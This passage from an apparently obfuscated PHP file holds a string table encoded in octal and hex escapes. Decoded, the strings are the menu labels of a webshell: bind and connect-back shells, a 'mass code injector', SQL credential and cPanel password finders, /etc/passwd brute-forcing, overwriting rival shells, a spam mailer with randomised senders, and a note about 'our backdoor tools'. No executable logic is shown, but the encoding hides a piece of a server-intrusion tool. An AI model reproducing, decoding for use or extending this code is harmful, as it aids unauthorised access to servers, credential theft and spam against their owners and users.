"\x53\x45\101\x52\x43\110\x20\106\117\122\x20\x46\111\114\105\x53\40\x41\116\104\40\104\x49\x52\123\x20\125\x53\x49\116\x47\40\120\x48\120", "\61\64\x33" => "\x4e\101\x4d\105\57\106\111\116\104\x2f\122\105\103\125\x52\123\x49\126\x45", "\x31\x34\x34" => "\106\151\x6c\145\x73", "\61\64\65" => "\x44\151\162\163", "\61\x34\x36" => "\x42\157\x74\150", "\x31\x34\x37" => "\123\145\141\162\x63\150", "\x31\64\x38" => "\165\163\x65\40\162\x65\147\145\x78\160\40\157\156\x20\x6e\141\155\x65", "\61\x34\x39" => "\123\105\101\122\103\x48\40\x49\x4e\40\104\x49\122", "\61\65\x30" => "\106\111\x4e\104\40\x54\x45\130\124\x20\x49\116\x20\x46\x49\114\105", "\61\65\61" => "\x75\163\x65\x20\x72\x65\x67\145\x78\160\x20\x6f\x6e\x20\x74\145\170\x74", "\x31\x35\x32" => "\167\x68\x6f\154\x65\40\167\157\162\x64\x73\40\x6f\156\154\171", "\x31\65\x33" => "\x63\x61\163\x65\40\163\145\x6e\x73\151\x74\x69\166\145", "\x31\x35\x34" => "\146\151\x6c\x65\163\x20\x6e\x6f\164\x20\x63\157\x6e\164\141\151\156\x69\x6e\x67\x20\164\150\145\40\164\x65\x78\164", "\x31\x35\x35" => "\x53\x45\101\x52\103\x48\40\124\x45\x58\124\x20\111\x4e\x20\x46\111\x4c\105\x53\x20\125\123\x49\x4e\x47\40\106\x49\116\x44", "\x31\65\x36" => "\124\x45\x58\x54\40\x54\x4f\x20\106\x49\116\x44", "\61\x35\x37" => "\x46\111\x4e\104\40\x49\116\40\106\111\114\105\x53", "\61\x35\70" => "\104\105\x46\111\116\105\104\x2f\x53\105\101\122\x43\x48\x20\111\116", "\x31\65\71" => "\x73\150\x6f\167\40\x69\x6e\40\146\151\x6c\x65\x20\x6d\x61\156\141\x67\x65\162", "\61\66\60" => "\116\117\x54\110\111\x4e\x47\x20\106\x4f\x55\116\x44", "\61\66\x31" => "\x55\120\x4c\x4f\101\104\x20\x4c\117\103\x41\x4c\x20\x46\111\x4c\x45", "\61\x36\x32" => "\x4c\117\x43\101\114\x20\106\111\x4c\x45", "\61\x36\x33" => "\117\120\x54\111\x4f\116\x41\x4c\x20\122\x45\x4e\x41\115\105", "\61\x36\64" => "\x55\x50\114\117\101\104\x20\x50\101\124\x48", "\x31\66\x35" => "\x46\x49\114\x45\40\x4c\117\x43\x41\124\x49\117\116", "\61\66\x36" => "\115\x55\114\x54\x49\120\114\105\x20\x46\111\114\105\123", "\61\x36\67" => "\x55\x50\x4c\x4f\x41\104\40\106\111\x4c\x45\x20\x46\x52\x4f\x4d\40\122\x45\115\x4f\124\105\40\x55\122\x4c", "\61\66\70" => "\125\x50\114\117\x41\104\40\115\125\x4c\124\x49\120\x4c\105\x20\106\x49\114\x45\123", "\61\x36\x39" => "\106\x6f\162\x6d", "\x31\x37\x30" => "\x55\x70\154\157\x61\144", "\x31\x37\x31" => "\x49\x6e\166\141\x6c\151\x64\x20\x66\x69\154\x65\40\154\157\143\141\164\151\157\x6e\72\40\133\x25\x31\x25\x5d", "\61\67\x32" => "\105\162\162\x6f\x72\40\165\160\154\x6f\x61\x64\151\x6e\x67\x20\133\x25\61\45\x5d\x20\50\103\x61\x6e\x27\164\x20\155\x6f\x76\145\40\x5b\45\x32\x25\135\40\164\157\x20\133\x25\x33\45\x5d", "\x31\x37\63" => "\x46\151\x6c\x65\x20\133\45\x31\45\x5d\40\x75\x70\x6c\157\141\x64\x65\x64\40\x74\157\40\133\45\x32\45\x5d", "\x31\67\64" => "\x43\141\x6e\x27\164\x20\144\x6f\x77\x6e\154\x6f\141\144\x20\146\151\154\x65\x21", "\x31\x37\x35" => "\103\x61\156\47\164\40\x77\x72\x69\164\145\x20\x74\x6f\40\133\45\61\45\x5d", "\x31\67\66" => "\106\151\154\x65\40\x75\160\x6c\157\141\x64\145\x64\x20\x74\157\x20\x5b\45\x31\x25\135", "\61\x37\67" => "\x53\x45\116\x44\x20\x46\x49\114\x45\40\124\x4f\x20\x45\55\x4d\x41\x49\x4c", "\61\67\70" => "\123\x45\x4e\x44\x20\124\x4f", "\x31\x37\71" => "\123\x65\156\x64", "\x31\x38\60" => "\103\x4f\115\x4d\101\x4e\104", "\x31\x38\x31" => "\104\x45\x46\111\116\x45\104", "\61\70\62" => "\105\x58\105\103\125\124\105\x20\x50\x48\120\x20\103\117\104\105", "\61\70\x33" => "\x45\170\x65\143\x75\x74\145\40\120\110\x50\x20\x43\157\144\145", "\61\70\x34" => "\104\151\x73\x70\x6c\141\171\40\x52\x65\x73\165\154\164\40\151\x6e\40\x54\145\170\x74\141\x72\x65\141", "\61\70\x35" => "\106\124\x50\40\x4d\x41\116\101\107\x45\x52", "\x31\x38\66" => "\110\117\123\x54\x3a\x50\117\x52\x54", "\x31\70\x37" => "\125\x53\x45\x52", "\x31\x38\x38" => "\x50\x41\x53\123", "\x31\x38\71" => "\103\157\x6e\156\x65\x63\x74", "\61\71\60" => "\120\x61\x73\163\x69\x76\x65", "\61\71\x31" => "\103\x61\156\47\x74\40\x63\157\156\x6e\145\143\x74", "\61\x39\62" => "\x50\x48\x50\55\x53\x48\x45\114\114", "\x31\71\63" => "\106\x54\x50", "\61\x39\64" => "\116\x45\x57\40\x44\111\x52", "\61\x39\65" => "\103\162\x65\141\164\145", "\x31\71\x36" => "\x44\151\x73\143\157\156\x6e\x65\x63\164", "\61\x39\x37" => "\125\x70\154\157\x61\144", "\x31\71\70" => "\x44\157\x77\156\x6c\157\141\x64", "\x31\x39\71" => "\104\x65\154\x65\x74\145", "\x32\x30\x30" => "\x44\x4f\x57\x4e\x4c\117\101\x44\40\106\111\114\x45\x20\106\x52\x4f\115\x20\x52\x45\x4d\117\x54\105\x20\x46\124\120", "\62\x30\x31" => "\125\120\114\x4f\x41\x44\x20\x46\111\114\105\x20\124\117\40\x52\x45\115\x4f\x54\x45\40\106\x54\120", "\x32\x30\62" => "\x48\x4f\123\x54\x3a\120\117\122\x54", "\62\60\x33" => "\125\x53\x45\x52\72\120\101\123\x53", "\62\x30\64" => "\106\x49\x4c\105\x20\x4f\116\x20\106\124\x50", "\62\60\65" => "\114\x4f\103\x41\x4c\x20\x46\x49\114\105", "\62\x30\66" => "\x55\160\154\x6f\x61\x64\x20\x46\x69\x6c\x65", "\62\60\67" => "\104\x6f\167\156\154\157\x61\x64\x20\x46\151\154\145", "\62\x30\70" => "\106\x69\x6c\145\x20\x75\x70\x6c\x6f\141\144\145\144\x2e", "\x32\60\x39" => "\103\141\x6e\x27\x74\40\x75\x70\154\157\141\144\x20\x66\x69\x6c\x65\56", "\x32\x31\60" => "\x46\151\x6c\x65\x20\144\x6f\167\156\154\x6f\x61\x64\145\x64\x2e", "\x32\x31\x31" => "\103\141\156\47\x74\40\144\157\x77\156\x6c\x6f\141\144\40\146\x69\x6c\145\x2e", "\x32\61\x32" => "\x50\110\120\x20\123\x49\115\x50\x4c\x45\x20\115\101\111\114\x45\x52", "\x32\61\x33" => "\x50\x48\x50\40\x43\x53\x56\40\115\101\x49\114\105\122", "\62\x31\x34" => "\106\x52\117\x4d\x20\x4e\x41\x4d\105", "\x32\61\x35" => "\x46\122\117\x4d\40\105\55\x4d\x41\111\x4c", "\62\61\x36" => "\x45\x2d\x4d\101\x49\x4c\x20\x53\125\102\112\x45\103\x54", "\62\61\x37" => "\122\105\x50\x4c\101\103\105", "\62\61\70" => "\x57\x49\124\x48", "\x32\61\x39" => "\x49\116", "\x32\x32\60" => "\105\55\x4d\101\x49\114\x20\x43\x4f\114", "\x32\62\x31" => "\103\117\114\x20\120\x52\105\106\x49\130", "\x32\x32\62" => "\x52\x45\120\114\101\103\105\x20\111\x4e", "\62\62\63" => "\x53\x65\154\145\x63\x74\40\x56\141\154\x75\x65", "\62\62\64" => "\106\x72\x6f\x6d\x20\x4e\x61\155\x65", "\62\62\x35" => "\106\x72\x6f\x6d\40\x45\x2d\155\141\x69\154", "\62\x32\66" => "\122\x65\143\x65\151\166\x65\162\x27\x73\x20\x45\55\155\141\151\154", "\x32\x32\67" => "\122\145\x63\145\x69\x76\145\x72\x27\163\40\105\55\155\x61\151\154\x20\55\40\150\141\x73\150", "\62\x32\x38" => "\123\165\x62\x6a\145\143\164", "\62\x32\71" => "\x4d\145\163\163\x61\147\145", "\x32\63\60" => "\x53\165\142\x6a\x65\x63\164\40\x61\156\x64\40\x4d\x65\x73\x73\141\x67\145", "\x32\x33\x31" => "\122\141\x6e\144\157\x6d\40\42\x46\122\117\x4d\40\105\x2d\x4d\101\111\x4c\42\40\x75\163\x65\x72\156\141\155\145\163", "\62\63\62" => "\x52\x61\156\144\x6f\x6d\40\x4d\145\x73\163\141\x67\145\x2d\111\104\40\x64\x6f\x6d\141\151\x6e\163", "\x32\63\x33" => "\123\145\x6e\x64\40\105\55\x6d\x61\x69\x6c\x73", "\62\63\64" => "\x50\162\x65\x76\151\145\x77\x20\50\104\x6f\x6e\47\164\40\163\x65\156\144\51", "\62\63\65" => "\x53\x68\x6f\x77\x20\162\x65\160\x6c\141\143\x65\144\x20\166\x61\154\x75\x65\163", "\62\63\x36" => "\111\x4e\x43\x4f\115\120\x4c\x45\124\105\40\104\x41\124\x41", "\62\x33\x37" => "\x4e\117", "\x32\x33\x38" => "\122\x45\x43\x45\x49\126\x45\x52", "\62\63\71" => "\x53\x45\x4e\x44\105\x52", "\x32\x34\x30" => "\x4d\105\123\123\101\107\x45\55\111\x44", "\62\64\61" => "\x53\124\x41\124\125\123", "\x32\x34\62" => "\x52\105\120\114\101\103\x49\x4e\x47", "\62\x34\63" => "\x53\x75\143\143\x65\163\x73", "\62\x34\64" => "\106\x61\151\x6c\145\144", "\62\64\x35" => "\x54\145\163\x74", "\62\x34\66" => "\x48\x41\123\x48\x20\x54\x59\120\105", "\62\x34\x37" => "\105\x4e\124\x45\x52\40\110\x41\x53\x48", "\62\x34\70" => "\x53\165\x62\155\151\164", "\62\x34\71" => "\103\x61\154\143\x75\154\141\x74\145", "\x32\x35\60" => "\103\154\x65\x61\x72\x20\x49\156\160\165\x74", "\x32\65\x31" => "\x50\117\123\x53\111\x42\114\105", "\62\65\62" => "\114\151\x6e\153", "\62\65\x33" => "\x49\x50\40\101\104\104\x52\x45\x53\123\40\x45\116\x43\x4f\104\105\x52", "\62\x35\x34" => "\105\116\124\x45\x52\x20\x49\120", "\62\65\65" => "\x4c\117\x4e\107\x20\x49\x50", "\x32\x35\x36" => "\x48\x45\x58\40\x49\120", "\x32\x35\x37" => "\x4f\x43\x54\101\x4c\x20\x49\x50", "\62\65\x38" => "\123\105\114\x45\103\124\40\110\x41\123\110", "\62\x35\71" => "\105\116\124\x45\x52\40\111\116\x50\x55\124", "\62\x36\60" => "\x41\154\154", "\x32\66\x31" => "\110\101\123\x48\x20\117\125\124\120\x55\x54", "\62\x36\x32" => "\x53\124\122\111\x4e\107\40\103\117\116\126\x45\x52\123\111\x4f\116\x53\x20\x4f\x55\124\120\x55\124", "\62\66\x33" => "\103\154\145\141\162\x20\117\165\164\160\x75\164", "\x32\66\64" => "\x53\x65\x6e\x64\x20\117\165\x74\160\x75\164\40\x74\157\40\x49\x6e\160\165\x74", "\62\x36\65" => "\102\111\x4e\x44\x20\x53\x48\105\114\x4c", "\x32\x36\x36" => "\x43\117\116\116\105\103\124\40\x42\101\x43\x4b", "\62\x36\x37" => "\x50\x41\123\x53\x3a\x50\117\122\124\72\x53\x52\x43", "\62\x36\70" => "\x42\x69\156\144", "\x32\66\x39" => "\106\157\x75\156\144\40\133\45\x31\x25\x5d\x20\157\x66\x20\x6f\165\x72\40\x62\141\143\x6b\x64\157\157\162\40\x74\157\x6f\154\x73\x20\x69\x6e\40\x74\x65\x6d\160\x64\x69\x72\56\x20\103\x6f\156\x73\151\x64\145\x72\x20\144\145\154\145\x74\151\156\147\40\x74\157\x6f\154\163\x20\141\x66\164\x65\162\x20\x75\163\x69\156\147\x20\x74\150\x65\x6d\x2e\40", "\x32\67\60" => "\104\x65\x6c\x65\164\x65\x20\x4e\x6f\167", "\62\67\61" => "\x43\141\156\47\x74\40\167\162\151\164\x65\x20\x73\x6f\165\162\x63\145\x73\41", "\x32\67\x32" => "\125\156\x6b\156\157\x77\156\x20\146\x69\x6c\x65\x21", "\62\x37\63" => "\x45\170\x65\143\165\164\x65\x64\56\40\x43\141\156\x27\164\x20\143\157\x6e\x6e\x65\143\x74\40\x74\157\x20\133\45\x31\x25\x5d\x21", "\62\67\x34" => "\117\x4b\x21\40\103\x6f\x6e\x6e\145\x63\x74\40\164\x6f\40\x5b\45\x31\x25\x5d\x3a\133\x25\x32\x25\x5d\x21", "\x32\67\65" => "\x50\157\162\164\x20\133\45\61\x25\x5d\x20\141\154\x72\145\141\144\171\40\151\156\x20\165\x73\x65\x21", "\62\x37\x36" => "\117\113\41\40\x54\150\x65\x20\x73\143\162\151\x70\164\40\151\163\40\156\157\167\40\143\157\156\156\145\x63\164\151\x6e\147\40\164\x6f\40\133\x25\61\45\135\x3a\133\x25\x32\45\x5d", "\62\67\x37" => "\120\x4f\x52\x54\x53\x43\x41\116", "\x32\x37\70" => "\x48\117\x53\x54\72\120\117\x52\x54\x20\122\101\x4e\x47\105", "\62\x37\71" => "\x53\143\x61\x6e", "\x32\70\x30" => "\x56\101\x4c\111\x44\40\122\101\116\107\105\40\x30\55\66\x35\65\63\x35", "\x32\x38\61" => "\x50\x48\x50\55\123\x48\x45\114\x4c\40\110\125\x4e\124\x45\x52", "\x32\x38\x32" => "\101\103\124\x49\x4f\116\72\x52\x45\103\125\x52\x53\111\126\105", "\x32\70\x33" => "\x46\x55\116\x43\x54\111\x4f\116\72\x53\x54\x41\x52\124\40\x50\x41\124\110", "\62\70\x34" => "\126\151\145\167\40\x6b\x6e\x6f\167\x6e\40\163\x68\145\154\x6c\163\x20\157\x6e\154\x79", "\62\x38\65" => "\126\151\x65\167\x20\x6b\156\x6f\x77\x6e\x20\x73\x68\145\x6c\154\x73\x20\53\x20\160\157\163\163\x69\x62\154\145", "\x32\70\x36" => "\x4f\x76\x65\162\167\162\151\164\145\x20\x6b\156\x6f\x77\156\40\163\x68\145\154\x6c\x73\x20\167\x69\x74\150\40\122\x43\x2d\123\150\x65\x6c\154", "\62\x38\x37" => "\117\x76\145\x72\167\162\x69\x74\145\40\141\154\x6c\x20\167\151\164\150\x20\x52\x43\x2d\123\x68\145\154\x6c", "\x32\x38\70" => "\x50\110\x50\55\x53\110\105\114\114\40\x52\105\x53\x55\x4c\x54\x53", "\62\70\x39" => "\120\x4f\x52\124\x53\103\101\116\x20\122\x45\123\x55\x4c\x54", "\62\71\60" => "\117\167\x6e\x65\144", "\x32\x39\61" => "\x43\x61\x6e\47\x74\x20\x6f\x77\156\x20\x69\164", "\62\x39\62" => "\106\x49\x4c\x45\x20\116\x41\115\x45", "\x32\x39\x33" => "\x53\x48\x45\114\x4c\40\124\x59\120\x45\x20\x4f\122\x20\x56\x45\122\123\111\x4f\x4e", "\x32\x39\64" => "\x45\x58\124\x45\122\x4e\101\114\x20\x4c\111\116\113", "\x32\x39\x35" => "\x46\111\114\x45\40\x41\103\124\x49\117\x4e\x53\x20\57\x20\117\x56\x45\x52\127\122\x49\124\105", "\62\x39\66" => "\126\x69\x65\167\40\x69\156\40\102\162\x6f\167\163\x65\162", "\62\71\67" => "\122\x43\55\117\x56\105\122\127\122\111\124\105", "\x32\71\x38" => "\x43\x50\x41\116\x45\114\40\x2f\40\x50\101\123\x53\x57\x4f\122\x44\x20\106\x49\116\x44\x45\x52", "\x32\x39\71" => "\x48\x4f\123\124\x3a\x55\x53\105\x52\x3a\123\x45\122\126\111\103\105", "\63\60\60" => "\x46\x49\114\105\x53\72\115\x45\124\x48\117\104\72\x52\105\x43\x55\x52\123\x49\x56\105", "\x33\x30\61" => "\106\125\116\x43\x54\x49\x4f\116\72\104\105\106\111\x4e\x45\104\x20\x50\x41\124\110", "\63\x30\62" => "\x53\105\116\104\40\x4c\117\x47\40\124\x4f", "\x33\x30\63" => "\104\x6f\156\x27\164\40\x6c\x6f\147\151\x6e\40\50\x63\162\x65\x61\x74\145\x20\160\x61\163\x73\146\x69\x6c\145\x29", "\x33\60\x34" => "\x75\x73\x65\162\40\53\40\104\x45\106\x49\116\105\x44\40\x50\x41\x54\110", "\63\x30\x35" => "\165\x73\145\162\x20\x2b\x20\104\117\103\x55\x4d\105\116\x54\x20\122\x4f\117\x54", "\63\60\x36" => "\x2f\x65\164\x63\57\160\x61\x73\163\167\144\40\53\40\125\x53\x45\x52\40\110\x4f\115\105\x53", "\x33\60\67" => "\x46\151\156\x64\40\x50\x61\x73\163\167\157\x72\144\x73", "\63\x30\70" => "\x43\120\101\x4e\105\114\x20\57\x20\x50\101\x53\123\127\117\122\x44\x20\106\x49\116\104\105\122\40\x52\x45\x53\125\x4c\124\123", "\63\x30\71" => "\x4d\x41\x53\x53\x20\103\117\x44\105\x20\111\x4e\x4a\x45\x43\x54\117\x52", "\x33\x31\x30" => "\106\x49\114\x45\x53\72\x50\117\123\x3a\x52\105\x43\x55\x52\123\x49\x56\105", "\x33\61\61" => "\x46\125\x4e\103\x54\111\117\x4e\x3a\x53\124\101\x52\x54\40\111\x4e\x20\x50\101\124\110", "\x33\61\62" => "\103\x4f\x44\x45\x20\x54\x4f\40\x49\x4e\x4a\105\x43\x54", "\63\x31\63" => "\111\x6e\x6a\x65\x63\164\x20\x46\151\154\x65\x73", "\63\x31\64" => "\x43\x4f\104\105\x20\x49\x4e\112\105\x43\124\x45\x44\x20\x49\x4e\40\x46\x49\114\105\123\x20\102\105\x4c\117\127", "\x33\61\x35" => "\106\111\x4e\104\x20\x53\x51\114\40\x43\122\105\104\x45\116\x54\x49\101\114\x53", "\x33\x31\x36" => "\x55\x53\x45\122\x20\x4e\x41\x4d\x45\72\x54\131\x50\105", "\63\x31\67" => "\120\101\x53\x53\40\x4e\101\x4d\105\72\124\131\120\x45", "\63\x31\70" => "\104\x42\40\x4e\101\115\105\x3a\124\x59\120\105", "\x33\61\71" => "\x48\x4f\x53\124\x20\116\x41\x4d\105\72\124\x59\120\105", "\63\62\x30" => "\52\x53\117\x46\124\x57\x41\122\105\x3a\x50\x41\x53\123\127\x4f\122\x44", "\x33\62\61" => "\x46\111\114\105\x53\72\x57\x48\105\122\105\72\x52\x45\x43\x55\122\123\111\126\105", "\63\x32\62" => "\106\x55\116\x43\124\x49\x4f\116\x3a\x44\x45\106\x49\116\x45\104\x20\x50\x41\x54\110", "\x33\62\63" => "\x46\x69\x6e\x64\40\x43\x72\x65\x64\x65\156\164\x69\141\x6c\163", "\x33\x32\64" => "\x4d\x79\x53\121\x4c\40\x54\x65\163\x74", "\x33\62\65" => "\104\x45\106\111\x4e\x45\x44\40\120\101\x54\x48", "\x33\62\x36" => "\104\117\103\125\115\x45\116\x54\x20\x52\117\117\x54", "\x33\x32\x37" => "\x55\123\105\x52\x20\x48\x4f\x4d\x45\123", "\x33\x32\x38" => "\162\x65\161\x75\151\162\145\144", "\x33\62\71" => "\157\x70\x74\151\x6f\x6e\x61\154", "\63\x33\60" => "\x53\x51\x4c\x20\x43\x52\105\x44\x45\116\124\x49\x41\114\x53", "\63\63\61" => "\x48\117\x53\124", "\x33\63\x32" => "\x55\x53\105\x52", "\63\63\63" => "\x50\x41\x53\x53", "\63\x33\64" => "\x44\101\x54\101\102\x41\123\105", "\x33\63\65" => "\101\103\x54\x49\x4f\116", "\63\63\x36" => "\115\171\x53\121\x4c\40\x43\157\156\156\x65\x63\164", "\x33\x33\x37" => "\102\122\125\x54\x45\x46\117\x52\103\x45\40\57\x20\104\111\x43\x54\x49\x4f\116\x41\x52\x59\40\101\124\124\101\x43\x4b", "\x33\x33\70" => "\x48\117\x53\124\72\x50\117\122\x54\72\x53\x45\122\126\x49\103\105", "\x33\63\71" => "\125\123\105\x52\x4e\x41\115\x45\x3a\104\101\x54\x41\102\x41\123\105", "\63\x34\60" => "\104\111\103\x54\x49\117\x4e\101\122\131", "\x33\64\61" => "\124\x45\123\x54\40\115\x45\124\x48\117\104", "\x33\64\x32" => "\x41\x4c\123\x4f\40\x54\x45\123\124", "\63\x34\63" => "\x75\163\x65\162\156\x61\x6d\x65\x20\x61\156\x64\x20\144\x69\x63\164\151\157\x6e\x61\162\171", "\x33\64\x34" => "\x2f\x65\x74\143\57\160\x61\x73\163\x77\144\40\x28\x75\163\145\162\x3a\165\163\145\162\x29", "\63\64\65" => "\x2f\x65\164\143\x2f\160\x61\x73\x73\x77\144\40\141\x6e\144\40\x64\151\143\x74\x69\x6f\156\x61\162\x79", "\63\64\x36" => "\123\164\141\x72\164\40\102\162\x75\x74\x65\x66\157\x72\x63\x65", "\x33\x34\67" => "\133\x25\x31\45\x5d\x20\102\122\x55\x54\105\x46\x4f\x52\103\105\40\x52\105\x53\125\x4c\x54", "\x33\64\x38" => "\x53\131\123\124\x45\x4d\x20\x50\122\x4f\103\105\x53\x53\105\x53", "\x33\64\71" => "\x53\105\116\104\111\x4e\x47\x20\123\x49\x47\x4e\101\114\40\133\x25\61\45\x5d\x20\124\117\40\43\x5b\45\62\x25\x5d\56\56\40", "\x33\65\x30" => "\x4b\x49\x4c\x4c\x45\104", "\63\x35\x31" => "\x43\101\116\x27\124\x20\x4b\x49\x4c\x4c\40\x49\124", "\x33\x35\62" => "\x44\x61\164\141\x62\141\163\x65\x73", "\63\65\x33" => "\121\165\145\162\171", "\63\x35\x34" => "\x45\x78\x74\162\x61\143\164\40\x45\55\155\x61\151\x6c\x73", "\63\65\65" => "\x53\145\162\x76\x65\162\40\123\164\x61\x74\165\x73", "\x33\x35\66" => "\x53\x65\162\166\145\162\x20\x56\x61\x72\x69\x61\x62\x6c\145\x73", "\63\65\x37" => "\120\162\157\x63\145\x73\x73\145\x73", "\x33\x35\x38" => "\104\151\163\143\157\x6e\x6e\145\143\x74", "\x33\x35\x39" => "\104\x41\x54\101\x42\101\x53\x45\123", "\63\66\60" => "\x44\x61\164\x61\x62\141\x73\145\40\x4e\x61\x6d\x65", "\x33\66\x31" => "\x53\151\x7a\x65", "\63\66\x32" => "\124\x61\x62\154\145\x73", "\63\66\63" => "\x44\141\x74\141\x62\x61\163\145\x20\x41\143\x74\x69\157\x6e\163", "\63\x36\x34" => "\x44\101\x54\101\x42\x41\x53\x45", "\63\66\65" => "\124\x41\102\114\x45", "\x33\x36\x36" => "\x44\x41\x54\x41\102\101\x53\105\x20\x5b\x25\61\45\x5d", "\63\x36\67" => "\104\141\x74\x61\142\141\x73\x65\163\40\x28\133\45\x31\45\135\x29", "\x33\x36\x38" => "\x54\141\x62\x6c\x65\40\x4e\141\x6d\145", "\x33\x36\x39" => "\x54\141\x62\x6c\x65\x20\101\143\164\x69\x6f\x6e\x73", "\x33\x37\60" => "\123\121\x4c\40\121\x55\105\x52\131", "\x33\67\61" => "\123\x75\x62\155\151\164\40\x51\x75\x65\x72\x79", "\63\67\x32" => "\105\x58\124\122\101\103\x54\40\x45\55\x4d\101\111\x4c\x53", "\63\x37\x33" => "\x53\x45\x41\x52\103\x48\x20\124\x41\102\x4c\x45\123\74\142\162\76\103\117\x4d\x4d\101\40\50\x2c\x29\x20\123\105\120\101\x52\x41\124\105\x44\x3c\x62\x72\x3e\114\105\101\x56\x45\40\105\x4d\120\x54\x59\40\x46\x4f\122\40\x41\114\x4c", "\x33\x37\x34" => "\x46\111\x4c\x45\x20\116\101\x4d\x45", "\63\67\x35" => "\x53\101\126\105\x20\x45\x2d\x4d\101\x49\x4c\123\x20\124\117\x20\106\x49\x4c\105", "\63\x37\66" => "\104\117\x57\x4e\114\x4f\101\x44\40\122\x45\x53\x55\114\124\x53", "\63\67\x37" => "\x45\x78\164\x72\141\x63\164\40\x45\x2d\x6d\141\151\154\163", "\63\x37\70" => "\x53\x45\x52\126\x45\122\x20\123\x54\x41\x54\125\123", "\63\x37\71" => "\x53\105\122\126\105\122\40\126\101\122\x49\x41\x42\x4c\x45\123", "\63\70\60" => "\x4e\x61\155\x65", "\x33\x38\61" => "\126\141\154\165\x65", "\63\x38\x32" => "\x50\122\117\x43\x45\123\x53\105\x53", "\63\70\63" => "\x49\x44", "\63\70\x34" => "\125\123\105\122", "\x33\70\x35" => "\110\117\123\124", "\63\x38\66" => "\x44\x41\124\101\x42\x41\x53\x45", "\63\x38\x37" => "\103\117\115\115\101\x4e\x44", "\x33\x38\70" => "\124\111\x4d\x45", "\x33\x38\x39" => "\x53\124\x41\x54\105", "\63\71\x30" => "\111\x4e\x46\x4f", "\x33\x39\x31" => "\x41\x43\x54\x49\x4f\116", "\63\x39\x32" => "\113\111\x4c\x4c", "\63\71\x33" => "\x50\122\x4f\103\105\x53\123\x20\43\133\x25\x31\x25\135\40\x4b\111\114\x4c\x45\x44", "\x33\71\x34" => "\121\x55\105\x52\131\x20\x52\x45\123\125\x4c\124", "\63\71\65" => "\x42\122\117\x57\123\x49\x4e\107\x20\x54\101\102\114\105\40\x5b\x25\61\45\x5d\40\50\x20\133\45\62\x25\135\x20\143\157\x6c\x73\40\x61\156\x64\40\133\x25\63\45\x5d\x20\x72\157\x77\163\40\51", "\x33\x39\x36" => "\120\162\x65\x76\151\157\x75\163", "\63\x39\67" => "\x50\x61\147\x65", "\63\71\x38" => "\107\x6f", "\63\x39\x39" => "\116\x65\170\164", "\64\60\x30" => "\x49\116\123\105\x52\x54\40\111\116\x54\x4f\40\x54\101\102\114\105\40\x5b\x25\61\45\x5d", "\64\x30\x31" => "\x46\x69\145\x6c\144", "\x34\60\x32" => "\124\x79\x70\145", "\64\x30\63" => "\106\165\x6e\x63\164\x69\157\x6e", "\x34\60\64" => "\x56\x61\154\x75\x65", "\x34\x30\65" => "\111\x6e\x73\x65\162\164\x20\141\163\40\156\x65\167\40\162\157\x77", "\64\x30\66" => "\x6f\162", "\x34\60\x37" => "\123\141\166\x65", "\64\x30\70" => "\x43\x6f\x6e\x66\151\162\x6d", "\x34\60\71" => "\124\x4f\124\x41\x4c\x20\x44\x41\124\101\102\101\123\105\123\x20\133\x25\x31\x25\x5d", "\x34\61\60" => "\x51\x55\x49\103\113\40\123\121\x4c\x20\x54\101\102\114\105\40\x44\125\x4d\120", "\64\x31\x31" => "\123\121\114\40\x54\x59\120\x45", "\x34\61\62" => "\x48\x4f\x53\x54\x3a\x50\117\x52\x54", "\64\x31\x33" => "\125\123\105\x52\72\120\x41\x53\x53", "\x34\61\64" => "\104\102\56\x54\101\x42\114\105", "\64\61\x35" => "\x46\111\x4c\x45\40\x4e\101\x4d\105", "\64\61\66" => "\104\117\127\x4e\x4c\117\101\x44\40\122\x45\x53\125\x4c\x54\123", "\64\61\67" => "\x53\x41\126\105\40\104\x55\x4d\120\40\x54\x4f\40\106\111\x4c\105", "\64\61\70" => "\x44\x75\x6d\160", "\64\61\x39" => "\x43\141\x6e\47\164\x20\x63\157\x6e\x6e\145\x63\164\x20\x74\x6f\40\123\121\114\x20\163\x65\162\x76\x65\x72", "\64\x32\60" => "\121\x55\111\x43\x4b\40\123\x51\114\40\121\x55\105\122\131", "\x34\x32\61" => "\x44\102", "\x34\62\62" => "\x51\165\x65\162\x79", "\64\62\x33" => "\121\125\x45\122\x59\x20\43\133\45\x31\x25\x5d\x20\x3a\40\x5b\45\x32\45\x5d", "\x34\62\x34" => "\x4e\x4f\x4e\105", "\x34\62\x35" => "\x43\x68\144\151\x72", "\x34\62\66" => "\124\x6f\164\x61\154\x3a\x20\x5b\45\61\x25\x5d", "\x34\x32\x37" => "\x53\165\x63\x63\x65\x73\x73\72\x20\133\45\61\x25\135", "\64\62\x38" => "\x46\141\151\x6c\x65\x64\x3a\x20\x5b\45\x31\x25\135", "\x34\62\71" => "\x55\x73\x65\144\72\x20\133\45\x31\x25\x5d", "\x34\x33\x30" => "\x4e\157\x74\40\x41\166\141\151\154\141\142\154\x65", "\x34\x33\x31" => "\124\x68\x65\x20\146\157\x6c\154\x6f\x77\x69\156\147\40\145\55\x6d\x61\151\x6c\x73\40\x77\x65\x72\x65\40\156\157\164\40\x73\145\156\164", "\x34\x33\x32" => "\110\101\x53\x48\x20\103\x41\114\x43\125\x4c\101\124\x4f\122", "\x34\x33\63" => "\123\124\122\x49\x4e\x47\x20\103\117\x4e\126\x45\x52\123\x49\117\116\x53", "\64\x33\x34" => "\110\117\123\124\72\x50\x4f\122\124\72\x53\122\x43", "\64\63\x35" => "\x43\x6f\x6e\156\x65\143\x74", "\x34\63\66" => "\x46\x69\156\144\x20\x53\150\x65\154\x6c\163", "\64\63\x37" => "\104\x4f\40\131\117\x55\40\122\x45\101\114\x4c\x59\x20\127\x41\116\x54\40\124\x4f\x20\104\122\x4f\120\x20\104\101\x54\101\x42\101\x53\x45\40\42\x5b\x25\61\45\135\42\x20\x3f\x20", "\x34\x33\x38" => "\104\x4f\40\131\x4f\x55\40\122\105\x41\x4c\114\131\40\127\x41\116\124\x20\124\x4f\40\x44\122\x4f\x50\x20\124\101\x42\114\x45\x20\42\133\45\61\45\135\x22\x20\77\40", "\64\63\71" => "\104\117\x20\x59\117\x55\x20\x52\x45\x41\x4c\x4c\x59\40\x57\101\116\124\40\124\x4f\x20\105\x4d\x50\124\131\40\x54\x41\x42\x4c\x45\40\x22\133\45\x31\x25\x5d\x22\x20\77\40", "\x34\64\60" => "\123\x51\114\40\x44\x55\x4d\x50", "\64\x34\61" => "\x44\101\124\101\102\x41\x53\105", "\64\x34\62" => 